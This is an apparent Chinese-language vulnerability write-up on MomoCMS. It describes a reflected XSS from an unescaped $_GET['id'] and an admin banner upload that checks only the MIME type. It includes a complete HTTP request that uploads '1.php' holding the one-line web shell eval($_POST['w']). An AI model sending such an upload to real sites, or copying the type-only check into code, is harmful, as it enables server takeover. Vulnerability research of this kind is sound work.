無聊時看了站長之家上有個程序挺火的,下載下來看了下。
前端的$_GET都是用intval()函數過濾了,沒有什麼可利用的。
後臺有一處xss
在
admin\create_sub_product.php的第96行
<span style="font-family:Microsoft YaHei;font-size:18px;"><input type="hidden" name="category" value="<?php echo $_GET['id']; ?>">
<p>
</span>
二:上傳漏洞
在admin/banner_do.php 中
代碼如下
<span style="font-family:Microsoft YaHei;font-size:18px;">require("./database.php");
if(empty($_SESSION['momocms_admin'])){
header("Location:./index.php");
exit;
}
if($_SESSION['momocms_isAdmin']==1){
if (($_FILES["banner"]["type"] == "image/gif")
|| ($_FILES["banner"]["type"] == "image/jpeg")
|| ($_FILES["banner"]["type"] == "image/png")
|| ($_FILES["banner"]["type"] == "image/pjpeg"))
{
if ($_FILES["banner"]["error"] > 0){
echo "Return Code: " . $_FILES["banner"]["error"] . "<br />";
}else{
if(!is_dir("../resource/slide/images")){
mkdir("../resource/slide/images");
}
$pos = strrpos($_FILES["banner"]["name"],".");
$back = substr($_FILES["banner"]["name"],$pos);
$_FILES["banner"]["name"] = time().$back;
move_uploaded_file($_FILES["banner"]["tmp_name"],
"../resource/slide/images/". $_FILES["banner"]["name"]);
$pic="../resource/slide/images/". $_FILES["banner"]["name"];
echo '<script>
parent.document.getElementById("successMsg").style.display="block";
setTimeout(function(){
parent.window.location.href="./banner.php";
},1500);
</script>';
}
}
}
</span>
可以看到上傳至判斷了上傳的類型,而沒有判斷上傳的後綴等等。
所以可以構造Content-type:image/jpeg 即可突破上傳
<span style="font-family:Microsoft YaHei;font-size:18px;">POST /test/momocms/admin/banner_do.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/test/momocms/admin/banner.php
Cookie: PHPSESSID=a920be64bc19dc2b620e7ddab2441811
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------13761195204349
Content-Length: 227
-----------------------------13761195204349
Content-Disposition: form-data; name="banner"; filename="1.php"
Content-Type: image/jpeg
<?php eval($_POST['w']);?>
-----------------------------13761195204349--
</span>
然後在後臺掛件哪裏可以直接修改php源代碼
暫時看了這麼多。還有其他的以後再看吧。